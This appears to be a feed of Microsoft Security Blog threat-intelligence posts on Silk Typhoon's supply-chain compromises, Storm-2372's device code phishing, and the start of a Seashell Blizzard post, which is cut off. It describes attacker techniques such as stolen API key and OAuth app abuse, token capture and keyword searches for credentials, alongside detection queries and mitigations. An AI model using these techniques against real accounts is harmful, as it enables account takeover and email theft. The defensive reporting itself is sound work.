The post Malvertising campaign leads to info stealers hosted on GitHub appeared first on Microsoft Security Blog.

Executive summary:
Microsoft Threat Intelligence identified a shift in tactics by Silk Typhoon, a Chinese espionage group, now targeting common IT solutions like remote management tools and cloud applications to gain initial access. While they haven’t been observed directly targeting Microsoft cloud services, they do exploit unpatched applications that allow them to elevate their access in targeted organizations and conduct further malicious activities. After successfully compromising a victim, Silk Typhoon uses the stolen keys and credentials to infiltrate customer networks where they can then abuse a variety of deployed applications, including Microsoft services and others, to achieve their espionage objectives. Our latest blog explains how Microsoft security solutions detect these threats and offers mitigation guidance, aiming to raise awareness and strengthen defenses against Silk Typhoon’s activities.

Silk Typhoon is an espionage-focused Chinese state actor whose activities indicate that they are a well-resourced and technically efficient group with the ability to quickly operationalize exploits for discovered zero-day vulnerabilities in edge devices. This threat actor holds one of the largest targeting footprints among Chinese threat actors. Part of this is due to their opportunistic nature of acting on discoveries from vulnerability scanning operations, moving quickly to the exploitation phase once they discover a vulnerable public-facing device that they could exploit.

As a result, Silk Typhoon has been observed targeting a wide range of sectors and geographic regions, including but not limited to information technology (IT) services and infrastructure, remote monitoring and management (RMM) companies, managed service providers (MSPs) and affiliates, healthcare, legal services, higher education, defense,  government, non-governmental organizations (NGOs), energy, and others located in the United States and throughout the world.

Silk Typhoon has shown proficiency in understanding how cloud environments are deployed and configured, allowing them to successfully move laterally, maintain persistence, and exfiltrate data quickly within victim environments. Since Microsoft Threat Intelligence began tracking this threat actor in 2020, Silk Typhoon has used a myriad of web shells that allow them to execute commands, maintain persistence, and exfiltrate data from victim environments.

As with any observed nation-state threat actor activity, Microsoft has directly notified targeted or compromised customers, providing them with important information needed to secure their environments. We’re publishing this blog to raise awareness of Silk Typhoon’s recent and long-standing malicious activities, provide mitigation and hunting guidance, and help disrupt operations by this threat actor.

Recent Silk Typhoon activity

Supply chain compromise

Since late 2024, Microsoft Threat Intelligence has conducted thorough research and tracked ongoing attacks performed by Silk Typhoon. These efforts have significantly enhanced our understanding of the actor’s operations and uncovered new tradecraft used by the actor. In particular, Silk Typhoon was observed abusing stolen API keys and credentials associated with privilege access management (PAM), cloud app providers, and cloud data management companies, allowing the threat actor to access these companies’ downstream customer environments. Companies within these sectors are possible targets of interest to the threat actor. The observations below were observed once Silk Typhoon successfully stole the API key:

• Silk Typhoon used stolen API keys to access downstream customers/tenants of the initially compromised company.
• Leveraging access obtained via the API key, the actor performed reconnaissance and data collection on targeted devices via an admin account. Data of interest overlaps with China-based interests, US government policy and administration, and legal process and documents related to law enforcement investigations.
• Additional tradecraft identified included resetting of default admin account via API key, web shell implants, creation of additional users, and clearing logs of actor-performed actions.
• Thus far the victims of this downstream activity were largely in the state and local government, and the IT sector.

Password spray and abuse

Silk Typhoon has also gained initial access through successful password spray attacks and other password abuse techniques, including discovering passwords through reconnaissance. In this reconnaissance activity, Silk Typhoon leveraged leaked corporate passwords on public repositories, such as GitHub, and were successfully authenticated to the corporate account. This demonstrates the level of effort that the threat actor puts into their research and reconnaissance to collect victim information and highlights the importance of password hygiene and the use of multifactor authentication (MFA) on all accounts.

Silk Typhoon TTPs

Initial access

Silk Typhoon has pursued initial access attacks against targets of interest through development of zero-day exploits or discovering and targeting vulnerable third-party services and software providers. Silk Typhoon has also been observed gaining initial access via compromised credentials. The software or services targeted for initial access focus on IT providers, identity management, privileged access management, and RMM solutions.

In January 2025, Silk Typhoon was also observed exploiting a zero-day vulnerability in the public facing Ivanti Pulse Connect VPN (CVE-2025-0282). Microsoft Threat Intelligence Center reported the activity to Ivanti, which led to a rapid resolution of the critical exploit, significantly reducing the period that highly skilled and sophisticated threat actors could leverage the exploit.

Lateral movement to cloud

Once a victim has been successfully compromised, Silk Typhoon is known to utilize common yet effective tactics to move laterally from on-premises environments to cloud environments. Once the threat actor has gained access to an on-premises environment, they look to dump Active Directory, steal passwords within key vaults, and escalate privileges. Furthermore, Silk Typhoon has been observed targeting Microsoft AADConnect servers in these post-compromise activities. AADConnect (now Entra Connect) is a tool that synchronizes on-premises Active Directory with Entra ID (formerly Azure AD). A successful compromise of these servers could allow the actor to escalate privileges, access both on-premises and cloud environments, and move laterally.

Manipulating service principals/applications

While analyzing post-compromise tradecraft, Microsoft identified Silk Typhoon abusing service principals and OAuth applications with administrative permissions to perform email, OneDrive, and SharePoint data exfiltration via MSGraph. Throughout their use of this technique, Silk Typhoon has been observed gaining access to an application that was already consented within the tenant to harvest email data and adding their own passwords to the application. Using this access, the actors can steal email information via the MSGraph API. Silk Typhoon has also been observed compromising multi-tenant applications, potentially allowing the actors to move across tenants, access additional resources within the tenants, and exfiltrate data.

If the compromised application had privileges to interact with the Exchange Web Services (EWS) API, the threat actors were seen compromising email data via EWS.

In some instances, Silk Typhoon was seen creating Entra ID applications in an attempt to facilitate this data theft. The actors would typically name the application in a way to blend into the environment by using legitimate services or Office 365 themes.

Use of covert networks

Silk Typhoon is known to utilize covert networks to obfuscate their malicious activities. Covert networks, tracked by Microsoft as “CovertNetwork”, refer to a collection of egress IPs consisting of compromised or leased devices that may be used by one or more threat actors. Silk Typhoon was observed utilizing a covert network that is comprised of compromised Cyberoam appliances, Zyxel routers, and QNAP devices. The use of covert networks has become a common tactic among various threat actors, particularly Chinese threat actors.

Historical Silk Typhoon zero-day exploitation

Since 2021, Silk Typhoon has been observed targeting and compromising vulnerable unpatched Microsoft Exchange servers, GlobalProtect Gateway on Palo Alto Networks firewalls, Citrix NetScaler appliances, Ivanti Pulse Connect Secure appliances, and others. While not exhaustive, below are historical zero-day vulnerabilities that Silk Typhoon was observed compromising for initial access into victim environments.

GlobalProtect Gateway on Palo Alto Networks Firewalls

In March 2024, Silk Typhoon used a zero-day exploit for CVE-2024-3400 in GlobalProtect Gateway on Palo Alto Networks firewalls to compromise multiple organizations:

• CVE-2024-3400 – A command injection as a result of arbitrary file creation vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.

Citrix NetScaler ADC and NetScaler Gateway

In early 2024, Microsoft began to observe Silk Typhoon compromising zero-day vulnerabilities within Citrix NetScaler ADC and NetScaler Gateways:

• CVE-2023-3519 – An unauthenticated remote code execution (RCE) vulnerability affecting NetScaler (formerly Citrix) Application Delivery Controller (ADC) and NetScaler Gateway

Microsoft Exchange Servers

In January 2021, Microsoft began to observe Silk Typhoon compromising zero-day vulnerabilities in Microsoft Exchange Servers. Upon discovery, Microsoft addressed those issues and issued security updates along with related guidance (related links below):

• CVE-2021-26855 – A server-side request forgery (SSRF) vulnerability in Exchange that could allow an attacker to send arbitrary HTTP requests and authenticate as the Exchange server.
• CVE-2021-26857 – An insecure deserialization vulnerability in the Unified Messaging service. Insecure deserialization is where untrusted user-controllable data is deserialized by a program. Exploiting this vulnerability gave Silk Typhoon the ability to run code as SYSTEM on the Exchange server. This requires administrator permission or another vulnerability to be exploited.
• CVE-2021-26858 – A post-authentication arbitrary file write vulnerability in Exchange. If Silk Typhoon could authenticate with the Exchange server, then it could use this vulnerability to write a file to any path on the server. It could authenticate by exploiting the CVE-2021-26855 SSRF vulnerability or by compromising a legitimate administrator’s credentials.
• CVE-2021-27065 – A post-authentication arbitrary file write vulnerability in Exchange. If Silk Typhoon could authenticate with the Exchange server, then it could use this vulnerability to write a file to any path on the server. It could authenticate by exploiting the CVE-2021-26855 SSRF vulnerability or by compromising a legitimate administrator’s credentials.

During recent activities and historical exploitation of these appliances, Silk Typhoon utilized a variety of web shells to maintain persistence and to allow the actors to remotely access victim environments.

Hunting guidance

To help mitigate and surface various aspects of recent Silk Typhoons activities, Microsoft recommends the following:

• Inspect log activity related to Entra Connect serversfor anomalousactivity.
• Where these targeted applications have highly privileged accounts, inspect service principals for newly created secrets (credentials).
• Identify and analyze any activity related to newly created applications.
• Identify all multi-tenant applications and scrutinize authentications to them.
• Analyze any observed activity related to use of Microsoft Graph or eDiscovery particularly for SharePoint or email data exfiltration
• Look for newly created users on devices impacted by vulnerabilities targeted by Silk Typhoon and investigate virtual private network (VPN) logs for evidence of VPN configuration modifications or sign-in activity during the possible window of compromise of unpatched devices.

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Microsoft Sentinel customers can use the following queries to detect behavior associated with Silk Typhoon:

• Anomalous password reset
• Privileged logon from new ASN
• Anomalous account creation
• Web shell activity
• Potential web shell
• Sign-in password spray
• Smart lockouts
• Credential dumping tools file artifacts
• NTDS theft
• Time series keyvault access anomaly
• Keyvault mass secret retrieval
• Suspicious sign-in by AADConnect account
• New service principal running queries
• SharePoint downloads by IP
• Anomaly of MailItem access by GraphAPI

Customers can use the following query to detect vulnerabilities exploited by Silk Typhoon:

DeviceTvmSoftwareVulnerabilities
| where CveId in ("CVE-2025-0282")
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,
CveId,VulnerabilitySeverityLevel
| join kind=inner ( DeviceTvmSoftwareVulnerabilitiesKB | project CveId, CvssScore,IsExploitAvailable,VulnerabilitySeverityLevel,PublishedDate,VulnerabilityDescription,AffectedSoftware ) on CveId
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,
CveId,VulnerabilitySeverityLevel,CvssScore,IsExploitAvailable,PublishedDate,VulnerabilityDescription,AffectedSoftware

Recommendations

To help detect and mitigate Silk Typhoon’s activity, Microsoft recommends the following:

• Ensure all public facing devices are patched. It’s important to note that patching a vulnerable device does not remediate any post-compromise activities by a threat actor who gained privileged access to a vulnerable device.
• Validate any Ivanti Pulse Connect VPN are patched to address CVE-2025-0282 and run the suggested Integrity Checker Tool as suggested in their Advisory. Consider terminating any active or persistent sessions following patch cycles.
• Defend against legitimate application and service principal abuse by establishing strong controls and monitoring for these security identities. Microsoft recommends the following mitigations to reduce the impact of this threat:
  • Audit the current privilege level of all identities, users, service principals, and Microsoft Graph Data Connect applications (use the Microsoft Graph Data Connect authorization portal) to understand which identities are highly privileged. Scrutinize privileges more closely if they belong to an unknown identity, belong to identities that are no longer in use, or are not fit for purpose. Admins may assign identities privileges over and above what is required. Defenders should pay attention to apps with app-only permissions as those apps might have over-privileged access. Read additional guidance for investigating compromised and malicious applications.Identify abused OAuth apps using anomaly detection policies. Detect abused OAuth apps that make sensitive Exchange Online administrative activities through Microsoft Defender for Cloud Apps. Investigate and remediate any risky OAuth apps.Review any applications that hold EWS.AccessAsUser.All and EWS.full_access_as_app permissions and understand whether they are still required in the tenant. This can be done using App governance in Microsoft Defender for Cloud Apps. If these permissions are no longer required, they should be removed.
  • If applications must access mailboxes, granular and scalable access can be implemented using role-based access control for applications in Exchange Online. This access model ensures applications are only granted to the specific mailboxes required.
• Monitor for service principal sign-ins from unusual locations. Two important reports can provide useful daily activity monitoring:
  • The risky sign-ins report surfaces attempted and successful user access activities where the legitimate owner might not have performed the sign-in. 
  • The risky users report surfaces user accounts that might have been compromised, such as a leaked credential that was detected or the user signing in from an unexpected location in the absence of planned travel. 
• Defend against credential compromise by building credential hygiene, practicing the principle of least privilege, and reducing credential exposure. Microsoft recommends the following mitigations to reduce the impact of this threat.
• Implement the Azure Security Benchmark and general best practices for securing identity infrastructure, including:
  • Prevent on-premises service accounts from having direct rights to the cloud resources to prevent lateral movement to the cloud.
  • Ensure that “break glass” account passwords are stored offline and configure honey-token activity for account usage.
  • Implement Conditional Access policies enforcing Microsoft’s Zero Trust principles.
• Enable risk-based user sign-in protection and automate threat response to block high-risk sign-ins from all locations and enable multifactor authentication (MFA) for medium-risk ones.
• Ensure that VPN access is protected using modern authentication methods.
• Identify all multi-tenant applications, assess permissions, and investigate suspicious sign-ins.

Indicators of compromise

Silk Typhoon is not known to use their own dedicated infrastructure in their operations. Typically, the threat actor uses compromised covert networks, proxies, and VPNs for infrastructure, likely to obfuscate their operations. However, they have also been observed using short-lease virtual private server (VPS) infrastructure to support their operations.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alerts can indicate associated threat activity:

• Silk Typhoon activity group

The following alerts might also indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity.

• Possible exploitation of Exchange Server vulnerabilities
• Suspicious web shell detected
• Suspicious Active Directory snapshot dump
• Suspicious credential dump from NTDS.dit

Microsoft Defender for Identity

The following Microsoft Defender for Identity alerts can indicate associated threat activity:

• Suspicious Interactive Logon to the Entra Connect Server
• Suspicious writeback by Entra Connect on a sensitive user
• User Password Reset by Entra Connect Account
• Suspicious Entra sync password change

Microsoft Defender XDR

The following alerts might indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity.

• Suspicious activities related to Azure Key Vault by a risky user

Microsoft Defender for Cloud

The following alerts might indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity.

• Unusual user accessed a key vault
• Unusual application accessed a key vault
• Access from a suspicious IP to a key vault
• Denied access from a suspicious IP to a key vault

Microsoft Defender for Cloud Apps

The following Microsoft Defender for Cloud Apps alerts can indicate associated threat activity if app governance is enabled:

• Unusual addition of credentials to an OAuth app
• Suspicious credential added to dormant app
• Unused app newly accessing APIs
• App with suspicious metadata has Exchange permission
• App with an unusual user agent accessed email data through Exchange Web Services
• App with EWS application permissions accessing numerous emails
• App made anomalous Graph calls to Exchange workload post certificate update or addition of new credentials
• Suspicious user created an OAuth app that accessed mailbox items
• Suspicious OAuth app used for collection activities using Graph API
• Risky user updated an app that accessed Email and performed Email activity through Graph API
• Suspicious OAuth app email activity through Graph API
• Suspicious OAuth app email activity through EWS API

Microsoft Defender Vulnerability Management

Microsoft Defender Vulnerability Management surfaces devices that may be affected by the following vulnerabilities used in this threat:

• CVE-2021-26855
• CVE-2021-26857
• CVE-2021-26858
• CVE-2021-27065

Microsoft Defender External Attack Surface Management

Attack Surface Insights with the following title can indicate vulnerable devices on your network but is not necessarily indicative of exploitation:

• [Potential] CVE-2024-3400 – Palo Alto Networks PAN-OS Command Injection Vulnerability’
• [Potential] CVE-2023-3519 – Citrix NetScaler ADC and Gateway Unauthenticated
• ProxyLogon – Microsoft Exchange Server Vulnerabilities (Hotfix Available)

Note: An Attack Surface Insight marked as [Potential] indicates a service is running but cannot validate whether that service is running a vulnerable version. Customers should check resources to verify that they are up to date as part of their investigation.

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following pre-built promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article (see Threat intelligence reports below)
• Vulnerability impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender Threat Intelligence

• Silk Typhoon
• Analyzing attacks taking advantage of the Exchange Server vulnerabilities
• Vulnerability Profile: CVE-2025-0282 – Ivanti Connect Secure, Policy Secure, and ZTA Gateway

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://x.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Silk Typhoon targeting IT supply chain appeared first on Microsoft Security Blog.

UPDATE (February 14, 2025): Within the past 24 hours, Microsoft has observed Storm-2372 shifting to using the specific client ID for Microsoft Authentication Broker in the device code sign-in flow. More details below.

Executive summary:

Today we’re sharing that Microsoft discovered cyberattacks being launched by a group we call Storm-2372, who we assess with moderate confidence aligns with Russia’s interests and tradecraft. The attacks appear to have been ongoing since August 2024 and have targeted governments, NGOs, and a wide range of industries in multiple regions. The attacks use a specific phishing technique called “device code phishing” that tricks users to log into productivity apps while Storm-2372 actors capture the information from the log in (tokens) that they can use to then access compromised accounts. These tokens are part of an industry standard and, while these phishing lures used Microsoft and other apps to trick users, they do not reflect an attack unique to Microsoft nor have we found any vulnerabilities in our code base enabling this activity.

Microsoft Threat Intelligence Center discovered an active and successful device code phishing campaign by a threat actor we track as Storm-2372. Our ongoing investigation indicates that this campaign has been active since August 2024 with the actor creating lures that resemble messaging app experiences including WhatsApp, Signal, and Microsoft Teams. Storm-2372’s targets during this time have included government, non-governmental organizations (NGOs), information technology (IT) services and technology, defense, telecommunications, health, higher education, and energy/oil and gas in Europe, North America, Africa, and the Middle East. Microsoft assesses with moderate confidence that Storm-2372 aligns with Russian interests, victimology, and tradecraft.  

In device code phishing, threat actors exploit the device code authentication flow to capture authentication tokens, which they then use to access target accounts, and further gain access to data and other services that the compromised account has access to. This technique could enable persistent access as long as the tokens remain valid, making this attack technique attractive to threat actors.

The phishing attack identified in this blog masquerades as Microsoft Teams meeting invitations delivered through email. When targets click the meeting invitation, they are prompted to authenticate using a threat actor-generated device code. The actor then receives the valid access token from the user interaction, stealing the authenticated session.

Because of the active threat represented by Storm-2372 and other threat actors exploiting device code phishing techniques, we are sharing our latest research, detections, and mitigation guidance on this campaign to raise awareness of the observed tactics, techniques, and procedures (TTPs), educate organizations on how to harden their attack surfaces, and disrupt future operations by this threat actor. Microsoft uses Storm designations as a temporary name given to an unknown, emerging, or developing cluster of threat activity, allowing Microsoft to track it as a unique set of information until we reach high confidence about the origin or identity of the threat actor behind the activity.

Microsoft Threat Intelligence Center continues to track campaigns launched by Storm-2372, and, when able, directly notifies customers who have been targeted or compromised, providing them with the necessary information to help secure their environments. Microsoft is also tracking other groups using similar techniques, including those documented by Volexity in their recent publication.

How does device code phishing work?

A device code authentication flow is a numeric or alphanumeric code used to authenticate an account from an input-constrained device that does not have the ability to perform an interactive authentication using a web flow and thus must perform this authentication on another device to sign-in. In device code phishing, threat actors exploit the device code authentication flow.

During the attack, the threat actor generates a legitimate device code request and tricks the target into entering it into a legitimate sign-in page. This grants the actor access and enables them to capture the authentication—access and refresh—tokens that are generated, then use those tokens to access the target’s accounts and data. The actor can also use these phished authentication tokens to gain access to other services where the user has permissions, such as email or cloud storage, without needing a password. The threat actor continues to have access so long as the tokens remain valid. The attacker can then use the valid access token to move laterally within the environment.

Storm-2372 phishing lure and access

Storm-2372’s device code phishing campaign has been active since August 2024. Observed early activity indicates that Storm-2372 likely targeted potential victims using third-party messaging services including WhatsApp, Signal, and Microsoft Teams, falsely posing as a prominent person relevant to the target to develop rapport before sending subsequent invitations to online events or meetings via phishing emails.

The invitations lure the user into completing a device code authentication request emulating the experience of the messaging service, which provides Storm-2372 initial access to victim accounts and enables Graph API data collection activities, such as email harvesting.

On the device code authentication page, the user is tricked into entering the code that the threat actor included as the ID for the fake Teams meeting invitation.

Post-compromise activity

Once the victim uses the device code to authenticate, the threat actor receives the valid access token. The threat actor then uses this valid session to move laterally within the newly compromised network by sending additional phishing messages containing links for device code authentication to other users through intra-organizational emails originating from the victim’s account.

Additionally, Microsoft observed Storm-2372 using Microsoft Graph to search through messages of the account they’ve compromised. The threat actor was using keyword searching to view messages containing words such as username, password, admin, teamviewer, anydesk, credentials, secret, ministry, and gov. Microsoft then observed email exfiltration via Microsoft Graph of the emails found from these searches.

February 14, 2025 update:

Within the past 24 hours, Microsoft has observed Storm-2372 shifting to using the specific client ID for Microsoft Authentication Broker in the device code sign-in flow. Using this client ID enables Storm-2372 to receive a refresh token that can be used to request another token for the device registration service, and then register an actor-controlled device within Entra ID. With the same refresh token and the new device identity, Storm-2372 is able to obtain a Primary Refresh Token (PRT) and access an organization’s resources. We have observed Storm-2372 using the connected device to collect emails.

The actor has also been observed to use proxies that are regionally appropriate for the targets, likely in an attempt to further conceal the suspicious sign in activity.

While many of the mitigations and queries listed below still apply in this scenario, alerts involving anomalous token or PRT activity surrounding close-in-time device registrations may also be a useful method for identifying this shift in technique. Additionally, enrollment restrictions – limiting the user permissions that can enroll devices into your Microsoft Entra ID environment – can also help to address this attack behavior.

Attribution

The actor that Microsoft tracks as Storm-2372 is a suspected nation-state actor working toward Russian state interests. It notably has used device code phishing to compromise targets of interest. Storm-2372 likely initially approaches targets through third-party messaging services, posing as a prominent individual relevant to the target to develop rapport before sending invites to online events or meetings. These invites lure the user into device code authentication that grants initial access to Storm-2372 and enables Graph API data collection activities such as email harvesting.

Storm-2372 targets include government, NGOs, IT services and technology, defense, telecommunications, health, higher education, and energy/oil and gas in Europe, North America, Africa, and the Middle East.

Mitigation and protection guidance

To harden networks against the Storm-2372 activity described above, defenders can implement the following:

• Only allow device code flow where necessary. Microsoft recommends blocking device code flow wherever possible. Where necessary, configure Microsoft Entra ID’s device code flow in your Conditional Access policies.
• Educate users about common phishing techniques. Sign-in prompts should clearly identify the application being authenticated to. As of 2021, Microsoft Azure interactions prompt the user to confirm (“Cancel” or “Continue”) that they are signing in to the app they expect, which is an option frequently missing from phishing sign-ins.
• If suspected Storm-2372 or other device code phishing activity is identified, revoke the user’s refresh tokens by calling revokeSignInSessions. Consider setting a Conditional Access Policy to force re-authentication for users.
• Implement a sign-in risk policy to automate response to risky sign-ins. A sign-in risk represents the probability that a given authentication request isn’t authorized by the identity owner. A sign-in risk-based policy can be implemented by adding a sign-in risk condition to Conditional Access policies that evaluates the risk level of a specific user or group. Based on the risk level (high/medium/low), a policy can be configured to block access or force multi-factor authentication.
  • When a user is a high risk and Conditional access evaluation is enabled, the user’s access is revoked, and they are forced to re-authenticate.
  • For regular activity monitoring, use Risky sign-in reports, which surface attempted and successful user access activities where the legitimate owner might not have performed the sign-in. 

The following best practices further help improve organizational defenses against phishing and other credential theft attacks:

• Require multifactor authentication (MFA). While certain attacks such as device code phishing attempt to evade MFA, implementation of MFA remains an essential pillar in identity security and is highly effective at stopping a variety of threats.
  • Leverage phishing-resistant authentication methods such as FIDO Tokens, or Microsoft Authenticator with passkey. Avoid telephony-based MFA methods to avoid risks associated with SIM-jacking.
  • Block legacy authentication with Microsoft Entra by using Conditional Access. Legacy authentication protocols do not have the ability to enforce MFA, as legacy MFA (per-user MFA prompts) is susceptible to abuse.
• Centralize your organization’s identity management into a single platform. If your organization is a hybrid environment, integrate your on-premises directories with your cloud directories. If your organization is using a third-party for identity management, ensure this data is being logged in a SIEM or connected to Microsoft Entra to fully monitor for malicious identity access from a centralized location. The added benefits to centralizing all identity data is to facilitate implementation of Single Sign On (SSO) and provide users with a more seamless authentication process, as well as configure Entra ID’s machine learning models to operate on all identity data, thus learning the difference between legitimate access and malicious access quicker and easier. It is recommended to synchronize all user accounts except administrative and high privileged ones when doing this to maintain a boundary between the on-premises environment and the cloud environment, in case of a breach.
• Secure accounts with credential hygiene: practice the principle of least privilege and audit privileged account activity in your Entra ID environments to slow and stop attackers.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Defender for Office 365

Microsoft Defender for Office 365 detects malicious activity associated with this threat through the following alerts:

• This email has traits consistent with phishing
• This HTML has traits consistent with phishing

Microsoft Entra ID Protection

The following Microsoft Entra ID Protection risk detections inform Entra ID user risk events and can indicate associated threat activity, including unusual user activity consistent with known attack patterns identified by Microsoft Threat Intelligence research:

• Activity from Anonymous IP address (RiskEventType: anonymizedIPAddress)
• Microsoft Entra threat intelligence (sign-in): (RiskEventType: investigationsThreatIntelligence)

Hunting queries

Microsoft Defender XDR

The following query can help identify possible device code phishing attempts:

let suspiciousUserClicks = materialize(UrlClickEvents
    | where ActionType in ("ClickAllowed", "UrlScanInProgress", "UrlErrorPage") or IsClickedThrough != "0"
    | where UrlChain has_any ("microsoft.com/devicelogin", "login.microsoftonline.com/common/oauth2/deviceauth")
    | extend AccountUpn = tolower(AccountUpn)
    | project ClickTime = Timestamp, ActionType, UrlChain, NetworkMessageId, Url, AccountUpn);
//Check for Risky Sign-In in the short time window
let interestedUsersUpn = suspiciousUserClicks
    | where isnotempty(AccountUpn)
    | distinct AccountUpn;
let suspiciousSignIns = materialize(AADSignInEventsBeta
    | where ErrorCode == 0
    | where AccountUpn in~ (interestedUsersUpn)
    | where RiskLevelDuringSignIn in (10, 50, 100)
    | extend AccountUpn = tolower(AccountUpn)
    | join kind=inner suspiciousUserClicks on AccountUpn
    | where (Timestamp - ClickTime) between (-2min .. 7min)
    | project Timestamp, ReportId, ClickTime, AccountUpn, RiskLevelDuringSignIn, SessionId, IPAddress, Url
);
//Validate errorCode 50199 followed by success in 5 minute time interval for the interested user, which suggests a pause to input the code from the phishing email
let interestedSessionUsers = suspiciousSignIns
    | where isnotempty(AccountUpn)
    | distinct AccountUpn;
let shortIntervalSignInAttemptUsers = materialize(AADSignInEventsBeta
    | where AccountUpn in~ (interestedSessionUsers)
    | where ErrorCode in (0, 50199)
    | summarize ErrorCodes = make_set(ErrorCode) by AccountUpn, CorrelationId, SessionId
    | where ErrorCodes has_all (0, 50199)
    | distinct AccountUpn);
suspiciousSignIns
| where AccountUpn in (shortIntervalSignInAttemptUsers)

This following query from public research surfaces newly registered devices, and can be a useful in conjunction with anomalous or suspicious user or token activity:

CloudAppEvents
| where AccountDisplayName == "Device Registration Service"
| extend ApplicationId_ = tostring(ActivityObjects[0].ApplicationId)
| extend ServiceName_ = tostring(ActivityObjects[0].Name)
| extend DeviceName = tostring(parse_json(tostring(RawEventData.ModifiedProperties))[1].NewValue)
| extend DeviceId = tostring(parse_json(tostring(parse_json(tostring(RawEventData.ModifiedProperties))[6].NewValue))[0])
| extend DeviceObjectId_ = tostring(parse_json(tostring(RawEventData.ModifiedProperties))[0].NewValue)
| extend UserPrincipalName = tostring(RawEventData.ObjectId)
| project TimeGenerated, ServiceName_, DeviceName, DeviceId, DeviceObjectId_, UserPrincipalName

Microsoft Sentinel

Microsoft Sentinel customers can use the following queries to detect phishing attempts and email exfiltration attempts via Graph API. While these queries are not specific to threat actors, they can help you stay vigilant and safeguard your organization from phishing attacks:

• Campaign with suspicious keywords
• Determine Successfully Delivered Phishing Emails to Inbox/Junk folder.
• Successful Signin from Phishing Link
• Phishing link click observed in Network Traffic
• Suspicious URL clicked Anomaly of MailItemAccess by GraphAPI
• OAuth Apps accessing user mail via GraphAPI
• OAuth Apps reading mail both via GraphAPI and directly
• OAuth Apps reading mail via GraphAPI anomaly

References

• https://www.blackhillsinfosec.com/dynamic-device-code-phishing/
• https://www.huntress.com/blog/oh-auth-2-0-device-code-phishing-in-google-cloud-and-azure
• https://github.com/secureworks/family-of-client-ids-research?tab=readme-ov-file#which-client-applications-are-compatible-with-each-other

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://x.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Storm-2372 conducts device code phishing campaign appeared first on Microsoft Security Blog.

Active since at least 2021, this subgroup within Seashell Blizzard has leveraged opportunistic access techniques and stealthy forms of persistence to collect credentials, achieve command execution, and support lateral movement that has at times led to substantial regional network compromises. Observed operations following initial access indicate that this campaign enabled Seashell Blizzard to obtain access to global targets across sensitive sectors including energy, oil and gas, telecommunications, shipping, arms manufacturing, in addition to international governments. We assess that this subgroup has been enabled by a horizontally scalable capability bolstered by published exploits that allowed Seashell Blizzard to discover and compromise numerous Internet-facing systems across a wide range of geographical regions and sectors. Since early 2024, the subgroup has expanded its range of access to include targets in the United States and United Kingdom by exploiting vulnerabilities primarily in ConnectWise ScreenConnect (CVE-2024-1709) IT remote management and monitoring software and Fortinet FortiClient EMS security software (CVE-2023-48788). These new access operations built upon previous efforts between 2021 and 2023 which predominantly affected Ukraine, Europe, and specific verticals in Central and South Asia, and the Middle East.

Microsoft Threat Intelligence assesses that while some of the subgroup’s targeting is opportunistic, its compromises cumulatively offer Seashell Blizzard options when responding to Russia’s evolving strategic objectives. Since April 2022, Russia-aligned threat actors have increasingly targeted international organizations that are either geopolitically significant or provide military and/or political support to Ukraine. In addition to establishing access to these targets outside Ukraine, we assess that the subgroup has likely enabled at least three destructive cyberattacks in Ukraine since 2023 (see below discussion of Seashell Blizzard for more information about their activities against Ukraine).  

